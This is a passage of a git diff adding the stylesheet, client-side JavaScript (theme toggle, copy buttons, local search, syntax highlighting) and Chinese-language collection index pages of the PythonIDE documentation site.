height: 36px; + border: 1px solid var(--line); + border-radius: var(--radius); + background: transparent; + color: var(--text); + cursor: pointer; + transition: background-color .16s ease, border-color .16s ease, transform .16s ease; +} +.icon-button:hover, .theme-toggle:hover { + background: var(--surface-2); + border-color: var(--line-strong); + transform: translateY(-1px); +} +.language-menu { + position: relative; + margin-left: auto; +} +.language-menu summary { + list-style: none; + height: 34px; + min-width: 68px; + display: inline-flex; + align-items: center; + justify-content: center; + gap: 5px; + border: 1px solid var(--line); + border-radius: 8px; + color: var(--text); + background: transparent; + font-size: 13px; + font-weight: 680; + cursor: pointer; + transition: background-color .16s ease, border-color .16s ease, transform .16s ease; +} +.language-menu summary::-webkit-details-marker { display: none; } +.language-menu summary::after { + content: ""; + width: 5px; + height: 5px; + border-right: 1.5px solid currentColor; + border-bottom: 1.5px solid currentColor; + transform: rotate(45deg) translateY(-1px); + opacity: .65; + transition: transform .16s ease, opacity .16s ease; +} +.language-menu[open] summary { + background: var(--surface-2); + border-color: var(--line-strong); +} +.language-menu[open] summary::after { + transform: rotate(225deg) translate(-1px, -1px); + opacity: .9; +} +.language-menu summary:hover { + background: var(--surface-2); + border-color: var(--line-strong); + transform: translateY(-1px); +} +.language-panel { + position: absolute; + top: calc(100% + 8px); + right: 0; + z-index: 80; + width: 158px; + padding: 6px; + border: 1px solid var(--line); + border-radius: var(--radius-lg); + background: var(--surface); + box-shadow: var(--shadow-card); + transform-origin: top right; + animation: menuIn .14s ease both; +} +[data-theme="dark"] .language-panel { + box-shadow: 0 16px 40px rgba(0, 0, 0, .22); +} +.language-panel span, +.language-panel button { + width: 100%; + min-height: 34px; + display: flex; + align-items: center; + justify-content: space-between; + border: 0; + border-radius: 7px; + padding: 0 9px; + background: transparent; + color: var(--muted); + font: inherit; + font-size: 13px; + text-align: left; +} +.language-panel .active { + background: var(--accent-soft); + color: var(--text); + font-weight: 700; +} +.language-panel button:disabled { + cursor: not-allowed; + opacity: .72; +} +.language-panel em { + color: var(--muted-2); + font-style: normal; + font-size: 12px; +} +.menu-toggle { display: none; } +.shell { + display: grid; + grid-template-columns: var(--sidebar-width) minmax(0, 1fr) var(--toc-width); + gap: 0; + width: 100%; + max-width: none; + margin: 0; + padding: 0; + background: var(--surface); +} +.sidebar, .toc { + position: sticky; + top: var(--topbar-height); + height: calc(100vh - var(--topbar-height)); + overflow: auto; + padding: 20px 0; +} +.sidebar { + background: var(--sidebar-bg); + border-right: 1px solid var(--line); + padding-left: 14px; + padding-right: 10px; +} +.content { + min-width: 0; + padding: 36px 32px 76px; + background: var(--surface); + border-right: 1px solid var(--line); + animation: pageIn .22s ease both; +} +.sidebar-nav { + padding: 0; +} +.sidebar-search { margin-bottom: 16px; } +.nav-collection { + border-top: 0; + padding: 2px 0 10px; +} +.nav-collection summary { + list-style: none; + cursor: pointer; + display: flex; + align-items: center; + padding: 8px 8px; + color: var(--text); + font-size: 13px; + font-weight: 760; +} +.nav-collection summary::-webkit-details-marker { display: none; } +.nav-collection summary a { color: var(--text); } +.nav-group { margin: 4px 0 12px; } +.nav-group-title { + padding: 11px 8px 5px; + color: var(--muted); + font-size: 12px; + font-weight: 760; +} +.nav-subgroup-title { + padding: 6px 8px 2px 14px; + color: color-mix(in srgb, var(--muted) 82%, transparent); + font-size: 11px; + font-weight: 700; + letter-spacing: 0.02em; +} +.collection-subgroup-title { + margin: 18px 0 8px; + color: var(--muted); + font-size: 14px; + font-weight: 700; +} +.collection-subgroup-title:first-child { margin-top: 0; } +a.nav-link { + display: block; + color: var(--muted); + border-left: 0; + border-radius: var(--radius); + padding: 6px 9px; + font-size: 13px; + line-height: 1.4; + text-decoration: none; + transition: color .14s ease; +} +a.nav-link:hover, +a.nav-link:focus-visible { + background: transparent; + color: var(--text); + text-decoration: none; +} +a.nav-link.active { + background: transparent; + color: var(--accent); + font-weight: 700; +} +.toc { + padding: 38px 18px 20px 12px; + background: var(--surface); +} +.toc-title { + color: var(--text); + font-weight: 760; + margin-bottom: 10px; + font-size: 12px; + text-transform: uppercase; +} +a.toc-link { + display: block; + color: var(--muted); + border-left: 2px solid transparent; + padding: 5px 0 5px 12px; + font-size: 13px; + line-height: 1.35; + text-decoration: none; + transition: color .14s ease, border-color .14s ease, transform .14s ease; +} +a.toc-link.child { padding-left: 22px; font-size: 12.5px; } +a.toc-link.active { + color: var(--accent); + border-left-color: var(--accent); + font-weight: 700; +} +a.toc-link:hover, +a.toc-link:focus-visible { + color: var(--text); + text-decoration: none; + transform: translateX(2px); +} +.toc-empty { + color: var(--muted); + font-size: 13px; +} +.article, .home-intro, .collection-list { + max-width: 780px; + margin: 0 auto; +} +.article-intro, .home-intro { + padding: 12px 0 24px; +} +.breadcrumb, .eyebrow, .link-kicker { + color: var(--muted); + font-weight: 780; + font-size: 12px; + text-transform: uppercase; +} +h1 { + margin: 10px 0 10px; + font-size: clamp(30px, 3.6vw, 40px); + line-height: 1.12; + font-weight: 760; + letter-spacing: 0; +} +.article-intro p, .home-intro p { + margin: 0; + color: var(--muted); + max-width: 720px; +} +.markdown-body { + margin-top: 14px; +} +.markdown-body h1, +.markdown-body h2, +.markdown-body h3, +.markdown-body h4 { + letter-spacing: 0; + line-height: 1.22; +} +.markdown-body h1 { font-size: 30px; margin: 34px 0 12px; } +.markdown-body h2 { font-size: 22px; margin: 34px 0 10px; font-weight: 740; } +.markdown-body h3 { font-size: 17px; margin: 26px 0 8px; font-weight: 740; } +.markdown-body h4 { font-size: 16px; margin: 22px 0 8px; } +.heading-anchor { + opacity: 0; + margin-left: -20px; + padding-right: 6px; + color: var(--muted); +} +h1:hover .heading-anchor, h2:hover .heading-anchor, h3:hover .heading-anchor, h4:hover .heading-anchor { + opacity: 1; + text-decoration: none; +} +.markdown-body p, +.markdown-body li { + color: var(--text); +} +.markdown-body p { + margin: 0 0 14px; +} +.markdown-body ul, .markdown-body ol { + padding-left: 22px; + margin: 12px 0 18px; +} +.markdown-body li + li { margin-top: 6px; } +.markdown-body code:not(pre code) { + color: var(--accent); + background: transparent; + border: 0; + border-radius: 0; + padding: 0; + font-size: .92em; + font-family: var(--font-mono); +} +.table-scroll { + overflow-x: auto; + border: 1px solid var(--line); + border-radius: var(--radius-lg); + margin: 16px 0 24px; + background: color-mix(in srgb, var(--surface) 72%, transparent); +} +table { + width: 100%; + min-width: 680px; + border-collapse: collapse; +} +th, td { + border-bottom: 1px solid var(--line); + padding: 11px 13px; + text-align: left; + vertical-align: top; +} +th { + background: color-mix(in srgb, var(--surface-2) 42%, transparent); + color: var(--text); + font-size: 13px; +} +td { color: var(--muted); } +tr:last-child td { border-bottom: 0; } +.code-block { + margin: 18px 0 26px; + border: 1px solid var(--line); + border-radius: var(--radius-lg); + background: var(--code-bg); + color: var(--code-text); + overflow: visible; + box-shadow: none; +} +.code-block figcaption { + display: flex; + justify-content: space-between; + align-items: center; + gap: 10px; + border-bottom: 1px solid var(--line); + border-radius: calc(var(--radius-lg) - 1px) calc(var(--radius-lg) - 1px) 0 0; + background: color-mix(in srgb, var(--code-bg) 72%, var(--surface)); + padding: 8px 10px 8px 16px; + color: var(--muted); + font-size: 12px; + font-weight: 680; + overflow: visible; +} +.code-copy-actions { + position: relative; + flex-shrink: 0; + overflow: visible; +} +.copy-code, +.install-cmd-copy { + width: 34px; + height: 34px; + display: inline-flex; + align-items: center; + justify-content: center; + border: 0; + border-radius: var(--radius-pill); + background: var(--btn-copy-bg); + color: var(--btn-copy-fg); + padding: 0; + cursor: pointer; + transition: transform .15s ease, opacity .15s ease, background-color .15s ease, color .15s ease; +} +.copy-code:hover, +.install-cmd-copy:hover { + transform: scale(1.04); + opacity: .88; +} +.copy-code svg, +.install-cmd-copy svg { + width: 15px; + height: 15px; +} +.copy-code-toast, +.install-cmd-toast { + position: absolute; + right: 0; + top: calc(100% + 8px); + bottom: auto; + z-index: 40; + padding: 6px 10px; + border-radius: var(--radius-pill); + background: var(--btn-copy-toast-bg); + color: var(--btn-copy-toast-fg); + font-family: var(--font-text); + font-size: 11px; + font-weight: 650; + line-height: 1.2; + white-space: nowrap; + pointer-events: none; + box-shadow: 0 6px 18px rgba(17, 17, 17, .12); + animation: install-toast-in .18s var(--ease); +} +[data-theme="dark"] .copy-code-toast, +[data-theme="dark"] .install-cmd-toast { + box-shadow: 0 8px 22px rgba(0, 0, 0, .34); +} +.copy-code-toast[hidden], +.install-cmd-toast[hidden] { + display: none !important; +} +.docs-copy-feedback { + position: fixed; + z-index: 120; + padding: 6px 12px; + border-radius: var(--radius-pill); + background: var(--btn-copy-toast-bg); + color: var(--btn-copy-toast-fg); + font-family: var(--font-text); + font-size: 11px; + font-weight: 650; + line-height: 1.2; + white-space: nowrap; + pointer-events: none; + box-shadow: 0 6px 18px rgba(17, 17, 17, .12); + animation: install-toast-in .18s var(--ease); +} +.docs-copy-feedback[hidden] { + display: none !important; +} +[data-theme="dark"] .docs-copy-feedback { + box-shadow: 0 8px 22px rgba(0, 0, 0, .34); +} +.agent-install-panel { + margin: 0 0 24px; +} +.install-cmd { + display: flex; + align-items: center; + gap: 10px; + min-width: 0; + max-width: 100%; + min-height: 46px; + padding: 5px 5px 5px 16px; + border: 1px solid var(--line); + border-radius: var(--radius-pill); + background: var(--code-bg); + color: var(--text); + box-shadow: none; +} +.install-cmd-prompt { + flex-shrink: 0; + color: var(--muted); + font-family: var(--font-mono); + font-size: 13px; + line-height: 1; + user-select: none; +} +.install-cmd-text { + flex: 1; + min-width: 0; + overflow-x: auto; + white-space: nowrap; + font-family: var(--font-mono); + font-size: 12.5px; + line-height: 1.4; + color: inherit; + background: transparent; + -webkit-overflow-scrolling: touch; + scrollbar-width: none; +} +.install-cmd-text::-webkit-scrollbar { display: none; } +.install-cmd-actions { + position: relative; + flex-shrink: 0; +} +@keyframes install-toast-in { + from { opacity: 0; transform: translateY(4px) scale(0.96); } + to { opacity: 1; transform: translateY(0) scale(1); } +} +.copy-code:active, +.language-menu summary:active { + transform: translateY(0) scale(.985); +} +.code-block pre { + margin: 0; + overflow: auto; + max-height: 430px; + border-radius: 0 0 calc(var(--radius-lg) - 1px) calc(var(--radius-lg) - 1px); + background: var(--code-bg); +} +.code-block pre code { + display: block; + padding: 15px 17px; + white-space: pre; + font: 13px/1.65 var(--font-mono); +} +pre { + margin: 0; + overflow: auto; + max-height: 430px; +} +pre code { + display: block; + padding: 15px 17px; + white-space: pre; + font: 13px/1.65 var(--font-mono); +} +.tok-keyword { color: #c2410c; font-weight: 680; } +.tok-string { color: #15803d; } +.tok-comment { color: var(--muted-2); font-style: italic; } +.tok-number { color: #7c3aed; } +.tok-function { color: #b45309; } +.tok-property { color: #e54b22; } +[data-theme="dark"] .tok-keyword { color: #ff8a65; } +[data-theme="dark"] .tok-string { color: #86efac; } +[data-theme="dark"] .tok-number { color: #c4b5fd; } +[data-theme="dark"] .tok-function { color: #fdba74; } +[data-theme="dark"] .tok-property { color: #ff8a65; } +.callout { + border: 1px solid color-mix(in srgb, var(--accent) 24%, var(--line)); + border-radius: var(--radius-lg); + background: color-mix(in srgb, var(--accent-soft) 72%, var(--surface)); + padding: 13px 15px; + color: var(--text); +} +.callout.warning { border-color: color-mix(in srgb, #f59e0b 34%, var(--line)); background: rgba(245, 158, 11, .08); } +.callout.tip { border-color: color-mix(in srgb, #16a34a 30%, var(--line)); background: rgba(22, 163, 74, .08); } +.callout.important { border-color: color-mix(in srgb, var(--accent) 36%, var(--line)); background: color-mix(in srgb, var(--accent-soft) 88%, var(--surface)); } +hr { + border: 0; + border-top: 1px solid var(--line); + margin: 26px 0; +} +.related-section { + margin-top: 42px; + padding-top: 4px; +} +.related-list, .doc-link-list, .collection-list { + display: grid; + grid-template-columns: repeat(2, minmax(0, 1fr)); + gap: 12px; +} +a.related-link, +a.doc-link, +a.collection-link { + display: block; + color: var(--text); + border: 1px solid var(--card-line); + border-radius: var(--radius-card); + background: var(--surface); + padding: 18px 20px; + box-shadow: var(--shadow-card); + text-decoration: none; + transition: none; + transform: none; +} +a.related-link:hover, +a.related-link:focus-visible, +a.doc-link:hover, +a.doc-link:focus-visible, +a.collection-link:hover, +a.collection-link:focus-visible { + color: var(--text); + text-decoration: none; + border-color: var(--card-line); + background: var(--surface); + box-shadow: var(--shadow-card); + transform: none; +} +a.related-link strong, +a.doc-link strong, +a.collection-link strong { + display: block; + color: var(--text); + font-size: 16px; + margin-bottom: 5px; +} +a.related-link:hover strong, +a.related-link:focus-visible strong, +a.doc-link:hover strong, +a.doc-link:focus-visible strong, +a.collection-link:hover strong, +a.collection-link:focus-visible strong { + color: var(--text); +} +.related-link span, .doc-link span, .collection-link span, +.collection-link em { + display: block; + color: var(--muted); + font-style: normal; + font-size: 13px; +} +.home-intro { + max-width: 830px; +} +.collection-list { + max-width: 830px; + margin-top: 22px; + grid-template-columns: repeat(2, minmax(0, 1fr)); +} +.collection-link strong { font-size: 20px; margin: 8px 0 6px; } +.collection-link em { margin-top: 12px; color: var(--accent); font-weight: 700; } +.collection-group { + margin-top: 36px; +} +.collection-group > p { + color: var(--muted); + margin-top: -6px; +} +.search-panel { + position: fixed; + inset: 0; + z-index: 100; + background: rgba(2, 6, 23, .42); + opacity: 0; + visibility: hidden; + pointer-events: none; + padding: 9vh min(6vw, 72px); + transition: opacity .18s ease, visibility .18s ease; +} +.search-panel.open { + opacity: 1; + visibility: visible; + pointer-events: auto; +} +.search-box, .search-results { + max-width: 760px; + margin: 0 auto; + opacity: 0; + transform: translateY(8px) scale(.99); + transition: opacity .18s ease, transform .18s ease; +} +.search-panel.open .search-box, +.search-panel.open .search-results { + opacity: 1; + transform: translateY(0) scale(1); +} +.search-box { + display: flex; + gap: 10px; + background: var(--surface); + border: 1px solid var(--card-line); + border-radius: var(--radius-lg); + padding: 9px 10px; + box-shadow: var(--shadow-card); +} +#docs-search-input { + flex: 1; + border: 0; + outline: 0; + background: transparent; + color: var(--text); + font: inherit; + font-size: 17px; +} +.search-close { + border: 1px solid var(--line); + background: transparent; + color: var(--text); +} +.search-results { + margin-top: 10px; + background: var(--surface); + border: 1px solid var(--card-line); + border-radius: var(--radius-lg); + overflow: hidden; + max-height: 62vh; + overflow-y: auto; + transition-delay: .03s; +} +.search-result { + display: block; + padding: 14px 16px; + border-bottom: 1px solid var(--line); + transition: background-color .14s ease, transform .14s ease; +} +.search-result:hover { + background: color-mix(in srgb, var(--surface-2) 54%, transparent); + text-decoration: none; + transform: translateX(2px); +} +.search-result strong { display: block; color: var(--text); } +.search-result span { display: block; color: var(--muted); font-size: 13px; } +@keyframes pageIn { + from { opacity: 0; transform: translateY(5px); } + to { opacity: 1; transform: translateY(0); } +} +@keyframes menuIn { + from { opacity: 0; transform: translateY(-4px) scale(.98); } + to { opacity: 1; transform: translateY(0) scale(1); } +} +@media (prefers-reduced-motion: reduce) { + html { scroll-behavior: auto; } + *, *::before, *::after { + animation-duration: .001ms !important; + animation-iteration-count: 1 !important; + scroll-behavior: auto !important; + transition-duration: .001ms !important; + } +} +@media (max-width: 1180px) { + .shell { grid-template-columns: var(--sidebar-width) minmax(0, 1fr); } + .toc { display: none; } + .content { border-right: 0; } +} +@media (max-width: 860px) { + .menu-toggle { display: inline-block; } + .top-nav { display: none; } + .language-menu { margin-left: auto; } + .sidebar-search { width: 100%; } + .shell { display: block; padding: 0 14px; } + .sidebar { + position: fixed; + z-index: 80; + top: var(--topbar-height); + bottom: 0; + left: 0; + width: min(88vw, 340px); + height: auto; + background: var(--sidebar-bg); + transform: translateX(-110%); + transition: transform .2s ease; + padding: 14px; + border-right: 1px solid var(--line); + } + body.sidebar-open .sidebar { transform: translateX(0); } + .mobile-backdrop { + position: fixed; + inset: var(--topbar-height) 0 0; + background: rgba(2, 6, 23, .35); + z-index: 70; + opacity: 0; + visibility: hidden; + pointer-events: none; + transition: opacity .18s ease, visibility .18s ease; + } + body.sidebar-open .mobile-backdrop { + opacity: 1; + visibility: visible; + pointer-events: auto; + } + .content { padding-top: 18px; } + .article-intro, .home-intro { padding: 14px 0 22px; } + .related-list, .doc-link-list, .collection-list { grid-template-columns: 1fr; } + h1 { font-size: 34px; } +} +@media (max-width: 520px) { + .brand { gap: 7px; } + .brand-mark { width: 28px; height: 28px; } + .brand-text { display: none; } + .language-menu summary { min-width: 58px; } +} diff --git a/docs/docs/assets/docs-v2.js b/docs/docs/assets/docs-v2.js new file mode 100644 index 0000000..adae470 --- /dev/null +++ b/docs/docs/assets/docs-v2.js @@ -0,0 +1,230 @@ +(() => { + const root = document.documentElement; + const savedTheme = localStorage.getItem("docs-v2-theme"); + if (savedTheme) root.dataset.theme = savedTheme; + + const prefix = window.PYTHONIDE_DOCS_PREFIX || ""; + const themeToggle = document.querySelector(".theme-toggle"); + const applyTheme = (next) => { + root.dataset.theme = next; + localStorage.setItem("docs-v2-theme", next); + }; + themeToggle?.addEventListener("click", () => { + const next = root.dataset.theme === "dark" ? "light" : "dark"; + if (typeof document.startViewTransition === "function") { + document.startViewTransition(() => applyTheme(next)); + return; + } + applyTheme(next); + }); + + const COPY_FEEDBACK_ID = "docs-v2-copy-feedback"; + let copyFeedbackTimer = 0; + const showCopyFeedback = (button, message) => { + let toast = document.getElementById(COPY_FEEDBACK_ID); + if (!toast) { + toast = document.createElement("div"); + toast.id = COPY_FEEDBACK_ID; + toast.className = "docs-copy-feedback"; + toast.setAttribute("role", "status"); + toast.setAttribute("aria-live", "polite"); + toast.hidden = true; + document.body.appendChild(toast); + } + toast.textContent = message; + toast.hidden = false; + const rect = button.getBoundingClientRect(); + toast.style.top = `${Math.round(rect.bottom + 8)}px`; + toast.style.right = `${Math.round(window.innerWidth - rect.right)}px`; + toast.style.left = "auto"; + window.clearTimeout(copyFeedbackTimer); + copyFeedbackTimer = window.setTimeout(() => { + toast.hidden = true; + }, 1400); + }; + + const menuToggle = document.querySelector(".menu-toggle"); + const backdrop = document.querySelector(".mobile-backdrop"); + const languageMenu = document.querySelector(".language-menu"); + const closeSidebar = () => document.body.classList.remove("sidebar-open"); + menuToggle?.addEventListener("click", () => document.body.classList.toggle("sidebar-open")); + backdrop?.addEventListener("click", closeSidebar); + document.querySelectorAll(".nav-link").forEach((link) => link.addEventListener("click", closeSidebar)); + document.addEventListener("click", (event) => { + if (languageMenu && !languageMenu.contains(event.target)) { + languageMenu.open = false; + } + }); + + document.querySelectorAll(".copy-code, .install-cmd-copy").forEach((button) => { + button.addEventListener("click", async () => { + const id = button.getAttribute("data-copy-code"); + const code = document.getElementById(`code-${id}`)?.textContent || ""; + try { + await navigator.clipboard.writeText(code); + const actions = button.parentElement; + const inlineToast = actions?.querySelector(".install-cmd-toast, .copy-code-toast"); + const oldLabel = button.getAttribute("aria-label") || "复制"; + const copiedLabel = inlineToast?.textContent?.trim() || "已复制"; + showCopyFeedback(button, copiedLabel); + button.setAttribute("aria-label", copiedLabel); + setTimeout(() => button.setAttribute("aria-label", oldLabel), 1400); + } catch (_) { + window.prompt("请手动复制:", code); + } + }); + }); + + highlightCodeBlocks(); + + const tocLinks = [...document.querySelectorAll(".toc-link")]; + const headings = tocLinks + .map((link) => document.getElementById(decodeURIComponent((link.getAttribute("href") || "").slice(1)))) + .filter(Boolean); + if (headings.length) { + const observer = new IntersectionObserver((entries) => { + const visible = entries.filter((entry) => entry.isIntersecting).sort((a, b) => a.boundingClientRect.top - b.boundingClientRect.top)[0]; + if (!visible) return; + tocLinks.forEach((link) => link.classList.toggle("active", link.getAttribute("href") === `#${visible.target.id}`)); + }, { rootMargin: "-20% 0px -70% 0px", threshold: [0, 1] }); + headings.forEach((heading) => observer.observe(heading)); + } + + const panel = document.querySelector(".search-panel"); + const input = document.getElementById("docs-search-input"); + const results = document.getElementById("docs-search-results"); + let searchIndex = []; + let loaded = false; + + async function loadSearch() { + if (loaded) return; + loaded = true; + try { + const response = await fetch(`${prefix}search-index.json`); + searchIndex = await response.json(); + } catch { + searchIndex = []; + } + } + + async function openSearch() { + await loadSearch(); + panel?.classList.add("open"); + input?.focus(); + renderSearch(""); + } + + function closeSearch() { + panel?.classList.remove("open"); + } + + function renderSearch(query) { + if (!results) return; + const q = query.trim().toLowerCase(); + const tokens = q.split(/[\s,,。;;::/|()[\]{}"'`]+/).filter(Boolean); + const matches = q.length === 0 + ? searchIndex.slice(0, 12) + : searchIndex + .map((item) => { + const title = item.title.toLowerCase(); + const subtitle = (item.subtitle || "").toLowerCase(); + const section = item.section.toLowerCase(); + const text = item.text.toLowerCase(); + let score = text.includes(q) ? 80 : 0; + for (const token of tokens) { + if (title.includes(token)) score += 40; + else if (subtitle.includes(token)) score += 18; + else if (section.includes(token)) score += 12; + else if (text.includes(token)) score += 6; + } + return { item, score }; + }) + .filter((entry) => entry.score > 0) + .sort((a, b) => b.score - a.score || a.item.title.localeCompare(b.item.title)) + .slice(0, 24) + .map((entry) => entry.item); + results.innerHTML = matches.map((item) => ` + + ${escapeHtml(item.title)} + ${escapeHtml(item.section)} · ${escapeHtml(item.subtitle || "")} + + `).join("") || '
没有结果换一个 API、模块或关键词试试。
'; + } + + function escapeHtml(value) { + return String(value) + .replaceAll("&", "&") + .replaceAll("<", "<") + .replaceAll(">", ">") + .replaceAll('"', """); + } + + function highlightCodeBlocks() { + document.querySelectorAll("pre code").forEach((code) => { + if (code.dataset.highlighted === "true") return; + code.innerHTML = highlightCode(code.textContent || ""); + code.dataset.highlighted = "true"; + }); + } + + function highlightCode(source) { + const keywords = new Set([ + "and", "as", "async", "await", "break", "case", "catch", "class", "const", + "continue", "def", "elif", "else", "except", "false", "False", "finally", + "for", "from", "function", "if", "import", "in", "is", "let", "nil", "None", + "not", "null", "or", "pass", "return", "switch", "throw", "true", "True", + "try", "var", "while", "with", "yield" + ]); + const tokenPattern = /(?:\"\"\"[\s\S]*?\"\"\"|'''[\s\S]*?'''|`(?:\\[\s\S]|[^`\\])*`|"(?:\\.|[^"\\])*"|'(?:\\.|[^'\\])*'|\/\*[\s\S]*?\*\/|\/\/[^\n]*|#[^\n]*|\.[A-Za-z_]\w*|\b\d+(?:\.\d+)?\b|\b[A-Za-z_]\w*\b)/g; + let html = ""; + let lastIndex = 0; + let match; + while ((match = tokenPattern.exec(source)) !== null) { + const token = match[0]; + const index = match.index; + html += escapeHtml(source.slice(lastIndex, index)); + html += renderToken(token, source, index, keywords); + lastIndex = index + token.length; + } + return html + escapeHtml(source.slice(lastIndex)); + } + + function renderToken(token, source, index, keywords) { + const escaped = escapeHtml(token); + if (token.startsWith("//") || token.startsWith("#") || token.startsWith("/*")) { + return `${escaped}`; + } + if (token.startsWith('"') || token.startsWith("'") || token.startsWith("`")) { + return `${escaped}`; + } + if (/^\d/.test(token)) { + return `${escaped}`; + } + if (token.startsWith(".")) { + return `.${escapeHtml(token.slice(1))}`; + } + if (keywords.has(token)) { + return `${escaped}`; + } + const after = source.slice(index + token.length).match(/^\s*/)?.[0] || ""; + if (source[index + token.length + after.length] === "(") { + return `${escaped}`; + } + return escaped; + } + + document.querySelector(".search-trigger")?.addEventListener("click", openSearch); + document.querySelector(".search-close")?.addEventListener("click", closeSearch); + panel?.addEventListener("click", (event) => { + if (event.target === panel) closeSearch(); + }); + input?.addEventListener("input", () => renderSearch(input.value)); + window.addEventListener("keydown", (event) => { + if ((event.metaKey || event.ctrlKey) && event.key.toLowerCase() === "k") { + event.preventDefault(); + openSearch(); + } else if (event.key === "Escape") { + closeSearch(); + } + }); +})(); diff --git a/docs/docs/collections/agent-development/index.html b/docs/docs/collections/agent-development/index.html new file mode 100644 index 0000000..27e2615 --- /dev/null +++ b/docs/docs/collections/agent-development/index.html @@ -0,0 +1,303 @@ + + + + + + Agent 开发 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ + + +
+ +
+
+ + + diff --git a/docs/docs/collections/appui/index.html b/docs/docs/collections/appui/index.html new file mode 100644 index 0000000..20f87a9 --- /dev/null +++ b/docs/docs/collections/appui/index.html @@ -0,0 +1,303 @@ + + + + + + appui - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

appui

+

声明式原生界面、状态、布局、导航、控件、API 参考与示例。

+
+

开始

先建立 appui 的基本写法和质量标准。

指南

按真实界面结构学习状态、布局、导航、交互和性能。

API 参考

按任务和组件查找公开 AppUI API。

示例

可预览、可点击、布局稳定的完整页面样板。

速查

颜色、系统图标和从 ui 迁移的对照表。

+
+ +
+ +
+
+ + + diff --git a/docs/docs/collections/automation-extension/index.html b/docs/docs/collections/automation-extension/index.html new file mode 100644 index 0000000..ed9b9e2 --- /dev/null +++ b/docs/docs/collections/automation-extension/index.html @@ -0,0 +1,303 @@ + + + + + + 自动化与扩展 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

自动化与扩展

+

快捷指令、编辑器键盘栏、JS API 与底层 Runtime 扩展。

+
+

快速上手

先看系统自动化和脚本运行时入口。

模块

快捷指令、编辑器工具栏与底层扩展。

参考

完整模块表与历史入口(主文档已合并到 iOS 原生能力)。

+
+ +
+ +
+
+ + + diff --git a/docs/docs/collections/ios-native/index.html b/docs/docs/collections/ios-native/index.html new file mode 100644 index 0000000..e6446d3 --- /dev/null +++ b/docs/docs/collections/ios-native/index.html @@ -0,0 +1,303 @@ + + + + + + iOS 原生模块 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

iOS 原生模块

+

权限、存储、设备、媒体、连接、通信与端侧智能。

+
+

快速上手

原生模块总入口:入口模型、Python 模块表、AppUI 桥接、专题页与权限矩阵。

基础与权限

权限、持久化、钥匙串、剪贴板与弹窗反馈。

设备与传感器

设备信息、定位、运动、触觉、生物认证与健康数据。

界面与系统

文件选择、分享、通知、通讯录、日历与 Live Activity。

媒体

相册、录制、播放、语音与音视频合成。

视觉与文档

OCR、Vision 检测、Core ML、PDF 与二维码。

连接与后台

HTTP、WebSocket、天气、蓝牙、后台任务与本地服务。

通信与智能

邮件、短信、翻译、NFC、闹钟、内购与端侧 AI。

+
+ +
+ +
+
+ + + diff --git a/docs/docs/collections/scene/index.html b/docs/docs/collections/scene/index.html new file mode 100644 index 0000000..06dff77 --- /dev/null +++ b/docs/docs/collections/scene/index.html @@ -0,0 +1,303 @@ + + + + + + scene - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

scene

+

Pythonista 风格 2D 场景:scene.run、精灵节点、Action、物理与 Classic 绘图。

+
+

快速上手

先看 scene 的运行模型和最小示例。

API 参考

按类族、生命周期、Action 和 Physics 查询 API。

+
+ +
+ +
+
+ + + diff --git a/docs/docs/collections/ui/index.html b/docs/docs/collections/ui/index.html new file mode 100644 index 0000000..6ff41e1 --- /dev/null +++ b/docs/docs/collections/ui/index.html @@ -0,0 +1,303 @@ + + + + + + ui - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

ui

+

Pythonista 风格原生 UI、手动布局、绘图和控件参考。

+
+

快速上手

先看 ui 的使用边界和最小示例。

API 参考

按类族和签名查询 ui API。

实时能力

实时快路径 实时系统和高频更新工具。

+
+ +
+ +
+
+ + + diff --git a/docs/docs/collections/widget/index.html b/docs/docs/collections/widget/index.html new file mode 100644 index 0000000..c11885e --- /dev/null +++ b/docs/docs/collections/widget/index.html @@ -0,0 +1,303 @@ + + + + + + widget - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

widget

+

用 Python 编写原生主屏、锁屏和 StandBy 小组件。

+
+

小组件

从最小脚本到布局、参数、交互、时间线、外观和 API 参考。

+
+ +
+ +
+
+ + + diff --git a/docs/docs/index.html b/docs/docs/index.html new file mode 100644 index 0000000..813df55 --- /dev/null +++ b/docs/docs/index.html @@ -0,0 +1,305 @@ + + + + + + PythonIDE 开发者文档 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ PythonIDE Documentation +

PythonIDE 开发者文档

+

学习使用 Python 构建界面、小组件、自动化脚本,并调用 iOS 原生能力。文档按开发路径组织,提供入门指南、示例和 API 参考。

+
+
+
+ 59 篇文档appui声明式原生界面、状态、布局、导航、控件、API 参考与示例。从 appui 概览 开始10 篇文档widget用 Python 编写原生主屏、锁屏和 StandBy 小组件。从 widget 开始5 篇文档uiPythonista 风格原生 UI、手动布局、绘图和控件参考。从 ui 概览 开始4 篇文档scenePythonista 风格 2D 场景:scene.run、精灵节点、Action、物理与 Classic 绘图。从 scene 开始57 篇文档iOS 原生模块权限、存储、设备、媒体、连接、通信与端侧智能。从 iOS 原生能力 开始8 篇文档自动化与扩展快捷指令、编辑器键盘栏、JS API 与底层 Runtime 扩展。从 快捷指令 开始1 篇文档Agent 开发在编码 Agent 中安装 Skills,并正确编写 AppUI、Widget 与原生能力代码。从 Agent Skills 安装与说明 开始 +
+ +
+ +
+
+ + + diff --git a/docs/docs/pages/agent-development-index/index.html b/docs/docs/pages/agent-development-index/index.html new file mode 100644 index 0000000..f04c195 --- /dev/null +++ b/docs/docs/pages/agent-development-index/index.html @@ -0,0 +1,332 @@ + + + + + + Agent Skills 安装与说明 - PythonIDE Docs + + + + + + + +
+ + PythonIDE Docs + +
+ 中文 +
+ 简体中文 + +
+
+ +
+
+ +
+ +
+
+ +

Agent Skills 安装与说明

+

